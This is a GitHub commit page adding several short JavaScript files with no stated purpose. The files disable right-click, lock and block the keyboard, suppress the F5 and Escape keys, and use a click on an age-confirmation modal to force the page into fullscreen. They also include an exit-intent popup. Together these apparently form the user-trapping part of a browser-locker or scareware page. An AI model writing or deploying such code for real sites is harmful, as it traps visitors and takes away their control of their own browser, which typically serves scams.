-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit f4cb5f2
Showing
22 changed files
with
1,591 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
|
||
var isNS = "Netscape" == navigator.appName ? 1 : 0; | ||
"Netscape" == navigator.appName && document.captureEvents(Event.MOUSEDOWN || Event.MOUSEUP); | ||
|
||
function mischandler() { | ||
return !1 | ||
} | ||
|
||
function mousehandler(a) { | ||
a = isNS ? a : event; | ||
a = isNS ? a.which : a.button; | ||
if (2 == a || 3 == a) return !1 | ||
} | ||
document.oncontextmenu = mischandler; | ||
document.onmousedown = mousehandler; | ||
document.onmouseup = mousehandler; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
navigator.keyboard.lock(); | ||
document.onkeydown = function (e) { | ||
return false; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
document.onkeydown = function(a) { | ||
return !1 | ||
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
function addEvent(obj, evt, fn) { | ||
if (obj.addEventListener) { | ||
obj.addEventListener(evt, fn, false); | ||
} else if (obj.attachEvent) { | ||
obj.attachEvent("on" + evt, fn); | ||
} | ||
} | ||
|
||
addEvent(document, 'mouseout', function(evt) { | ||
if (evt.toElement == null && evt.relatedTarget == null) { | ||
$('.lightbox').slideDown(); | ||
}; | ||
}); | ||
|
||
$('a.close').click(function() { | ||
$('.lightbox').slideUp(); | ||
}); | ||
$('body').click(function() { | ||
$('.lightbox').slideUp(); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
document.attachEvent("onkeydown", win_onkeydown_handler); | ||
|
||
function win_onkeydown_handler() { | ||
switch (event.keyCode) { | ||
case 116: | ||
event.returnValue = !1; | ||
event.keyCode = 0; | ||
break; | ||
case 27: | ||
event.returnValue = !1, event.keyCode = 0 | ||
} | ||
} |
Large diffs are not rendered by default.
Oops, something went wrong.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
document.getElementById("age-confirmation-modal").onclick = function(){ | ||
document.getElementById("age-confirmation-modal").style.display = "none"; | ||
document.getElementById("other-content").style.display = "inline"; | ||
|
||
addEventListener("click", function() { | ||
var | ||
el = document.documentElement | ||
, rfs = | ||
el.requestFullScreen | ||
|| el.webkitRequestFullScreen | ||
|| el.mozRequestFullScreen | ||
; | ||
rfs.call(el); | ||
}); | ||
} | ||
$("a#thing_to_click").click(function(e){ | ||
e.preventDefault(); | ||
window.location = "#"; | ||
}); |
Oops, something went wrong.